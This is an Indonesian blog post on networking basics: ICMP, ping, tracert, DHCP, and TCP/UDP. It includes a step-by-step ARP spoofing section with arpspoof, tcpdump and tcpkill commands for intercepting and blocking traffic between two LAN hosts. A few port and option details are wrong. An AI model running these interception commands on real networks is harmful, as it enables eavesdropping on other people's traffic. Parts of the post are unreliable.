Cari Blog Ini

Internetworking dan Layer 4 Transport

Sabtu, 11 Juni 2011

1. Internetworking
Internetworking adalah interkoneksi jaringan yang jenisnya sama atau berbeda. Piranti bridge digunakan untuk menghubungkan jaringan yang sejenis, sedangkan untuk menghubungkan jaringan yang tidak sejenis digunakan gateway.

Gambar 1.  Penggunaan lebih dari satu macam LAN dalam suatu organisasi/perusahaan

v    ICMP

ICMP adalah Internet Message Controll Protocol. ICMP merupakan protokol pelengkap dalam IP (Internet Protocol). Sperti halnya IP, ICMP bekerja pada Network Layerpada susunan OSI Layer. ICMP di desain untuk mengontrol pengiriman dan pesan percobaan melewati jaringan IP.Tidak  seperti Transport Layer, protocol TCP (Transmission Control Protocol) dan UDP (User Datagram Protocol) yang bekerja pada lapisan atas IP, ICMP berada di sepanjang paket IP.
Kemampuan untuk memahami ICMP adalah sangat dibutuhkan untuk setiap perangkat network yang kompatibel dengan IP. Bagaimanapun juga banyak perangkat keamanan seperti firewall memblok atau me-non aktifkan semua bagian dari fungsi ICMP untuk kepentingan keamanan.ICMP bekerja dengan mengirim dan menerima tipe pesan yang sangat terbatas. Tipe pesan ICMP di definisikan dalam Tipe Nomor ICMP IANA.

Tipe pesan ICMP adalah :
Type
Name
0
Echo Reply
3
Destination Unreachable
4
Source Quench
5
Redirect
6
Alternate Host Address
8
Echo
9
Router Advertisement
10
Router Solicitation
11
Time Exceeded
12
Parameter Problem
13
Timestamp
14
Timestamp Reply
15
Information Request
16
Information Reply
17
Address Mask Request
18
Address Mask Meply
30
Traceroute

Dua pesan ICMP yang sangat penting adalah Echo Request (8) and Echo Reply (0). Echo Request dan Echo Reply merupakan hal penting yang dipakai oleh perintah "ping" untuk menguji konektivitas jaringan. Berikut kita akan menggunakan perintah ping untuk mengirim tiga pesan sebesar 64-byte pesan ICMP Echo Request ke www.freebsd.org dan menerima tiga pesan Echo Reply messages sebagai responnya :


Keluaran ini memberitahukan informasi pada kita bahwa konektivitas jaringan menuju www.freebsd.org bekerja dengan baik. Ini juga memberitahukan pada kita waktu yang di perlukan setiap paket untuk kembali. ping adalah tool yang sangat bermanfaat untuk pengujian sebuah jaringan.
v Ping

Ping adalah sebuah utilitas yang digunakan untuk memeriksa konektivitas antar jaringan melalui sebuah protokol Transmission Control Protocol/Internet Protocol (TCP/IP) dengan cara mengirim sebuah paket Internet Control Message Protocol (ICMP) kepada alamat IP yang hendak diuji coba konektivitasnya. Nama Perintah “ping” diambil dari istilah sonar sebuah kapal selam yang sedang aktif, yang sering mengeluarkan bunyi ping ketika menemukan sebuah objek.
Ping yang bagus akan menampilkan pesan “reply” pada layar monitor. tetapi jika menampilkan pesan “Request Time Out” berarti konektivitas antar dua komputer tidak terjadi. Kualitas koneksi dinilai berdasarkan besarnya waktu pergi – pulang (roundtrip) dan besarnya jumlah paket yang hilang (packet loss). Berarti semakin kecil kedua angka tersebut, semakin bagus kualitas koneksinya.
Beberapa parameter yang terdapat dalam perintah ping :
(untuk menampilkan parameter dari perintah ping anda cukup mengetikkan “ping” atau “ping /?” pada Command Prompt)

Contoh Penggunaan Perintah Ping
Semua Opsi pada perintah ping adalah Case Sensitif, t harus ditulis t, bukan T
ping /? 
Digunakan untuk menampilkan opsi bantuan seperti gambar diatas.
ping 202.134.0.155 
Menguji konektivitas dengan Host IP 202.134.0.155
ping –t 202.134.0.155 
Melakukan perintah ping ke host tujuan terus menerus sampai dihentikan. Untuk melihat statistic dan melanjutkan tekan Control+Break sedangkan untuk menghentikan proses tekan Control+C.
Pinging 202.134.0.155 with 32 bytes of data:
Reply from 202.134.0.155: bytes=32 time=78ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=82ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=77ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=80ms TTL=245 
dst………..
ping –a 202.134.0.155 
Melakukan perintah ping dan mencari nama host dari komputer tujuan
Pinging nsjkt1.telkom.net.id [202.134.0.155] with 32 bytes of data:
Reply from 202.134.0.155: bytes=32 time=77ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=76ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=75ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=78ms TTL=245
ping –n 5 202.134.0.155 
Melakukan perintah ping dengan menentukan jumlah request echo. Defaultnya tanpa –n adalah 4.
Pinging 202.134.0.155 with 32 bytes of data:
1. Reply from 202.134.0.155: bytes=32 time=91ms TTL=245 2. Reply from 202.134.0.155: bytes=32 time=78ms TTL=245 3. Reply from 202.134.0.155: bytes=32 time=77ms TTL=245 4. Reply from 202.134.0.155: bytes=32 time=78ms TTL=245 5. Reply from 202.134.0.155: bytes=32 time=75ms TTL=245
ping –l 100 202.134.0.155 

Melakukan perintah ping dengan mengirimkan paket data sebesar 1000 bytes. Secara default paket yang dikirimkan sebesar 32 bytes. Maximum paket yang bisa dikirimkan sebesar 65,527 bytes

Pinging 202.134.0.155 with 1000 bytes of data:
Reply from 202.134.0.155: bytes=1000 time=419ms TTL=245 
Reply from 202.134.0.155: bytes=1000 time=246ms TTL=245 
Reply from 202.134.0.155: bytes=1000 time=241ms TTL=245 
Reply from 202.134.0.155: bytes=1000 time=343ms TTL=245
ping –w 10000 202.134.0.155 

Mengatur Timeout dalam milliseconds untuk menunggu pada tiap-tiap reply. Jika pesan yang ditampilkan adalah “Request Time Out”, maka dengan menggunakan opsi atau parameter ini jarak antar pesan “RTO” adalah seperti yang telah kita atur. Secara Default waktu time outnya adalah 4000 millisecond (4 detik) Jika dirubah dengan angka 10000 = 10 detik.
Pinging 202.134.0.155 with 32 bytes of data:
Reply from 202.134.0.155: bytes=32 time=302ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=323ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=199ms TTL=245 
(10 detik) Request timed out. (10 detik) Request timed out. 
Reply from 202.134.0.155: bytes=32 time=117ms TTL=245 
Reply from 202.134.0.155: bytes=32 time=291ms TTL=245


v Traceroute 
Traceroute (Tracert) adalah perintah untuk menunjukkan rute yang dilewati paket untuk mencapai tujuan. Ini dilakukan dengan mengirim pesan Internet Control Message Protocol (ICMP) Echo Request Ke tujuan dengan nilai Time to Live yang semakin meningkat. Rute yang ditampilkan adalah daftar interface router (yang paling dekat dengan host) yang terdapat pada jalur antara host dan tujuan. Berikut adalah contohnya:

CD:\Documents and Settings\administrator>tracert www.yahoo.com
Tracing route to www.yahoo-ht3.akadns.net [209.131.36.158] over a maximum of 30 hops:
 1    <1 ms    <1 ms    <1 ms  10.1.1.2
 2    19 ms    19 ms    19 ms  10.1.3.3
 3    16 ms    19 ms     *     202.152.232.193
 4    21 ms    29 ms    29 ms  202.152.232.185
 5    37 ms    39 ms    39 ms  202.152.232.131
 6    57 ms    79 ms    59 ms  202.152.250.37
 7    64 ms    59 ms    49 ms  202.152.254.82
 8    51 ms    59 ms    59 ms  icore.f1-0.c250.ugw2.bb.xl.net.id [202.152.254.10]
 9    59 ms    59 ms    69 ms  ncore.0-1-1.j4.bb.xl.net.id [202.152.245.193]
10    96 ms    79 ms    99 ms  ncore.ls-0-2-0-1.j1.bb.xl.net.id [202.152.245.146]
11    85 ms    79 ms    79 ms  203.208.191.133
12    83 ms   109 ms    69 ms  ge-3-0-0-0.sngc3-cr1.ix.singtel.com [203.208.172.157]
13    99 ms    79 ms    99 ms  203.208.149.106
14   274 ms   269 ms    69 ms  203.208.173.133
15    71 ms    99 ms    79 ms  203.208.149.169
16   320 ms   109 ms   279 ms  so-4-3-0-0.plapx-cr2.ix.singtel.com [203.208.172.54]
17   286 ms   339 ms   309 ms  so-2-1-0-0.plapx-cr3.ix.singtel.com [203.208.182.114]
18     *      275 ms   269 ms  203.208.186.10
19   294 ms     *      297 ms  203.208.168.246
20   266 ms   299 ms   339 ms  f1.www.vip.sp1.yahoo.com [209.131.36.158]
Trace complete.
D:\Documents and Settings\administrator>

v    DHCP
DHCP adalah protokol yang berbasis arsitektur client/server yang dipakai untuk memudahkan pengalokasian alamat IP dalam satu jaringan.Ketika mengkonfigurasi sistem client, administrator dapat memilih DHCP dan tidak harus memasukkan IP address, netmask dan gateway atau DNS servers. Clien memperolehinformasi dari server DHCP.Administrator hanya perlu mengedit satu file konfigurasi DHCP pada server untuk mengeset IP address baru daripada mengkonfigurasi kembali semua sistem. Jika DNS server untuk sebuah organisasi yang nantinya akan mengalami perubahan, perubahan dibuat pada server DHCP, dan tidak pada DHCP client.




KONSEP DHCP

Konsep dari DHCP yaitu melayani pemberian IP untuk disebarkan ke client secara otomatis. DHCP ini didesain untuk melayani network yang besar dan konfigurasi TCP/IP yang kompleks.

Hal ini berlaku jika komputer tersebut menggunakan setting IP dengan DHCP atau di Windows mengaktifkan pilihan "Obtain IP Address Automatically"IP Address berarti= network addres = Host address

PROSES DHCP
1. Indentifikasi DHCP Server
2. MeminTa IP
3. Menerima IP
4. Memutuskan Untuk Menggunakan IP tersebut

DHCP menggunakan konsep DHCP relay agent yang akan selalu tersambung.DHCP relay agent adalah sebuah host yang melanjutkan paket DHCP antaraClient dan server.

Relay agent digunakan untuk melanjutkan permintaan dan balasan antara client dan server yang mereka tidak dalam physical subnet yang sama.

CARA KERJA DHCP
Dalam DHCP terdapat dua pihak yang terlibat

a. DHCP server merupakan sebuah mesin yang menjalankan layanan yang dapat "menyewakan" alamat IP dan informasi TCP/IP lainnya kepada semua klien yang memintanya.

b. DHCP client merupakan mesin klien yang menjalankan perangkat lunak klien DHCP yang memungkinkan mereka untuk dapat berkomunikasi dengan DHCP Server. DHCP Client akan mendapatkan "penyewaan" alamat IP dari sebuah DHCP server dalam proses berikut:

1. DHCPDISCOVER
DHCP client akan menyebarkan request secara broadcast untuk mencari DHCP Server yang aktif.
2. DHCPOFFER
Setelah DHCP Server mendengar broadcast dari DHCP Client, DHCP server kemudian menawarkan sebuah alamat kepada DHCP client.
3. DHCPREQUEST
Client meminta DCHP server untuk menyewakan alamat IP dari salah satu alamat yang tersedia dalam DHCP Pool pada DHCP Server yang bersangkutan.
4. DHCPACK
DHCP server akan merespons permintaan dari klien dengan mengirimkan paket acknowledgment. Kemudian, DHCP Server akan menetapkan sebuah alamat (dan konfigurasi TCP/IP lainnya) kepada klien, dan memperbarui basis data database miliknya. Klien selanjutnya akan memulai proses binding dengan tumpukan protokol TCP/IP dan karena telah memiliki alamat IP, klien pun dapat memulai komunikasi jaringan.


DHCP Scope

DHCP Scope adalah alamat-alamat IP yang dapat disewakan kepada DHCP client. Ini juga dapat dikonfigurasikan oleh seorang administrator dengan menggunakan peralatan konfigurasi DHCP server. Biasanya, sebuah alamat IP disewakan dalam jangka waktu tertentu, yang disebut sebagai DHCP Lease, yang umumnya bernilai tiga hari. Nilai alamat-alamat IP yang dapat disewakan harus diambil dari DHCP Pool yang tersedia yang dialokasikan dalam jaringan. Kesalahan yang sering terjadi dalam konfigurasi DHCP Server adalah kesalahan dalam konfigurasi DHCP Scope.

v ARP Spoofing n Sniffing
Address Resolution Protocol (ARP) adalah protokol untuk mapping dari alamat IP (Internet Protocol) ke alamat fisik MAC (Media Access Control). Misal di suatu jaringan kita ingin mengirim paket ke host A 192.168.1.2, maka pertama kita harus tau sapa yg mempunyai alamat IP tsb. Maka ARP akan membroadcast pertanyaan tsb ke semua host yang ada di jaringan. Sang empunya alamat IP tsb akan menjawab kembali sahutan tsb dengan mengirimkan alamat MACnya. Alamat MAC ini akan disimpan di tabel ARP untuk memudahkan pencarian jika diperlukan pengiriman paket ke tujuan yang sama.


Kayak gimana sih bentuk format frame ARP? Terdiri dari 2 bagian, yaitu header ethernet dan paket ARP. Header ethernet berupa :
- 6 byte alamat tujuan
- 6 byte alamat pengirim
- 2 byte jenis frame ARP

Sedangkan paket ARPna berupa :
- 2 byte jenis alamat hardware (1 = ethernet)
- 2 byte jenis protokol yang di map (0800H = alamat IP)
- 1 byte ukuran alamat hardware
- 1 byte ukuran protokol
- 2 byte tipe operasi (1 = ARP request, 2=ARP reply, 3=*RARP request
,4=RARP reply)
- 6 byte alamat ethernet pengirim
- 4 byte alamat IP pengirim
- 6 byte alamat ethernet penerima
- 4 byte alamat IP penerima


*RARP (Reverse Address Resolution Protocol) digunakan untuk sistem komputer diskless, guna mendapatkan alamat IP mereka saat boot.

ARP Spoofing merupakan suatu kegiatan yang memanipulasi paket ARP. Misal paket X dari komputer A ditujukan untuk komputer B, ketika komputer A membroadcast paket ARP di jaringan, maka komputer C sang manipulator dapat "meracuni" (Posioning) paket ARP tsb agar paket X ditujukan ke komputer C terlebih dahulu baru diforward ke komputer B. Poisoning ini mengganti alamat MAC komputer B dengan alamat MAC komputer C di tabel ARP komputer A dan sebaliknya, alamat MAC komputer A diganti menjadi alamat MAC komputer C di tabel ARP komputer B. Jenis-jenis serangan yang bisa dilakukan dnegan ARP Spoofing diantarana adalah sniffing, Man in the Middle, MAC Flooding, DoS (Denial of Service), Hijacking n Cloning.

Apa ajah sih yg diperluin buat ARP Spoofing ini? Kalo aq sih pake arpspoof yang ada di paket dsniff-2.3 untuk OS Linux. Ohiya, sebelum menginstall dsniff ini perlu dicek apakah di sistem yang digunain dah terinstall libnetma libnids. Jangan lupa untuk jenis attacking sniffing ato MIM perlu IP Forwarding diaktifkan (echo 1 > /proc/sys/net/ipv4/ip_forward).

Seperti biasa, unpack paket dsniff lalu configure n terakhir make install. Ohiya, pas saat make, aq sempet dapet error compiling module sshcrypto :

sshcrypto.c:30: error: parse error before "des_key_schedule"
....blablabla
....blablabla
*** Error code 1

Solusina kita buka n edit file sshcrypto.c di folder dsniff-2.3, tambahin :

#include <openssl/des.h>
#include <openssl/blowfish.h>

di deklarasi file header yang diperlukan. Bila dah kelar n gak da error lagi, coba jalanin si dsniff ato si arpspoof :)

Yuukk kita coba meracuni n ngendus paket antara komputer A 192.168.1.1 n komputer B 192.168.1.3, komputer C (attacker) 192.168.1.6.

jalanin si arpspoof terlebih dahulu :

root@slack:~# arpspoof -t 192.168.1.1 192.168.1.3 & >/dev/null
root@slack:~# arpspoof -t 192.168.1.3 192.168.1.1 & >/dev/null

kalo dah bener nanti di console akan muncul kayak gini :

0:c:29:3e:2d:46 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:c:29:3e:2d:46
0:e0:29:63:d1:6 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:e0:29:63:d1:6

Setelah itu bisa kita endus pake dsniff ato tcpdump, misal mo pake tcpdump bisa kita capture hasilna ke file, pake :

root@slack:~# tcpdump -i eth0 -w endus.txt

dimana eth0 adalah interface card dan endus.txt adalah nama file outputna :). Kalo file tsb dibuka masi kaco isina >.<, jadi bisa kita liat pake tcpdump juga, pake :

root@slack:~# tcpdump -r endus.txt

hehehehe lumayan asik kan ARP Spoofing, gak hanya buat sniffing juga tapi bisa kita blok koneksi tertentu misal :

root@slack:~# tcpkill -9 host www.playboy.com

Untuk matiin proses si arpspoof n tcpdump bisa dengan cara :

root@slack:~# killall arpspoof
root@slack:~# killall tcpdump

2. Layer 4 Transport

TCP
TCP (Transmision Control Protocol) adalah protokol pada layer transport yang bersifat conection oriented, berfungsi untuk mengubah satu blok data yang besar menjadi segmen-segmen yang dinomori dan disusun secara berurutan.  Proses pembuatan koneksi TCP disebut juga dengan proses “Three-way Handshake“. Tujuan metode ini adalah agar dapat melakukan sinkronisasi terhadap nomor urut dan nomor acknowledgement yang dikirimkan oleh kedua pihak (pengirim dan penerima). Prosesnya antara lain:
·         Host pertama (yang ingin membuat koneksi) akan mengirimkan sebuah segmen TCP dengan flag SYN diaktifkan kepada host kedua (yang hendak diajak untuk berkomunikasi).
·         Host kedua akan meresponsnya dengan mengirimkan segmen dengan acknowledgment dan juga SYN kepada host pertama.
·         Host pertama selanjutnya akan mulai saling bertukar data dengan host kedua.
TCP menggunakan proses Handshake yang sama untuk mengakhiri koneksi yang dibuat, namun menggunakan flag FIN bukan SYN. Hal ini menjamin dua host yang sedang terkoneksi tersebut telah menyelesaikan proses transmisi data dan semua data yang ditransmisikan telah diterima dengan baik. Itulah sebabnya, mengapa TCP disebut dengan koneksi yang reliable.
TCP menggunakan port 20 untuk saluran data pada FTP, 21 untuk saluran kontrol pada FTP, 23 untuk telnet, 25 untuk mengirim email pada SMTP, 80 untuk http, 110 untuk menerima email( POP3), 139 untuk TCP session service.
TCP memiliki beberapa header antara lain:
-          Source Port/ socket sumber
-          Destination Port/ socket tujuan
-          Sequence Number
-          Acknowledgment Number
-          Data Offset
-          Reserved
-          Flags
-          Window
-          Checksum
-          Urgent Pointer
UDP
UDP (User Datagram Protocol) adalah protokol pada layer transport yang bersifat conectionless. Artinya UDP tidak mementingkangkan bagaimana keadaan koneksi, jadi jika terjadi pengiriman data maka tidak dijamin sampai tidaknya. Pada UDP juga tidak ada pemecahan data,  oleh karena itu tidak dapat dilakukan pengiriman data dengan ukuran yang besar.
Sepertihalnya TCP, UDP juga memiliki port, yaitu:53 Domain Name System (DNS) Name Query, 67 BOOTP client (Dynamic Host Configuration Protocol [DHCP]), 68 BOOTP server (DHCP), 69 Trivial File Transfer Protocol (TFTP), 137 NetBIOS Name Service, 138 NetBIOS Datagram Service, 161 Simple Network Management Protocol (SNMP), 445 Server Message Block (SMB), 520 Routing Information Protocol (RIP), 1812/1813 Remote Authentication Dial-In User Service (RADIUS).
UDP memiliki empat header antara lain:
-          Source Port/ socket sumber
-          Destination Port/ socket tujuan
-          Length
-          Checksum

Sumber:           
http://pushm0v.blogspot.com/2007/07/arp-spoofing-n-sniffing.html
http://pcguru.okihelfiska.net/2009/05/jargon-komputer-ping/
http://ophys.xlphp.net/?ars=25
http://id.wikipedia.org/wiki/Traceroute
http://chuyanx.blogspot.com/2009/06/dhcp-dynamic-host-configuration.html